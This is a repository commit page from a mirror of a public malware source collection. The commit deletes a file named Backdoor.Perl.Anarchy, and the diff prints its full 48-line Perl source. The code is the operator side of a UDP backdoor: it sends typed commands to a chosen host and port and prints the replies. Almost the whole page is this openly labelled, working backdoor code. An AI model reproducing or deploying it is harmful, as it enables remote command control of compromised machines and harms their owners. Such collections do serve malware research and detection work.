ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-19 18:06:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Delete Backdoor.Perl.Anarchy

Browse Source 
na
This commit is contained in:
vxunderground 2020-11-14 00:58:16 -06:00 committed by GitHub
parent 2dabba6211
commit 249a333163
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 48 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

48
Perl/Backdoor.Perl.Anarchy
View File

@ -1,48 +0,0 @@
use IO::Socket;
use Getopt::Std;
getopts('s:p:h', \%opt)||die("Error: Unable to get command line options !!!\n");
if(defined($opt{'h'})) { \&usage() }
if(defined($opt{'s'})) { $server=$opt{'s'} } else { \&usage() }
if(defined($opt{'p'})) { $port=$opt{'p'} } else { \&usage() }
$|=1;
$maxlen=1024;
$sock=IO::Socket::INET->new(Proto=>'udp')
or die("Error: Cannot initialize socket !!!\n");
$ipaddr=inet_aton($server);
$portaddr=sockaddr_in($port, $ipaddr);
print("\nAUDP Backdoor started.\n");
print("======================\n");
while(1) {
print("=> ");
$mesg=<STDIN>;
chomp $mesg;
if($mesg=~/^\s*(exit)|(quit)\s*/i) { exit(0) }
if($mesg!~/^\s*$/) {
send($sock, $mesg."\n", 0, $portaddr)==length($mesg."\n");
while($portaddr=recv($sock, $msg, $maxlen, 0)) {
if($msg=~/^\-end\.$/) { last } else {
print $msg;
}
}
}
}
sub usage() {
print("\nAUDP - Programmed by Anarchy\n");
print("============================\n");
print("Usage: AUDP -s <host> -p <port>\n\n");
exit 1;
}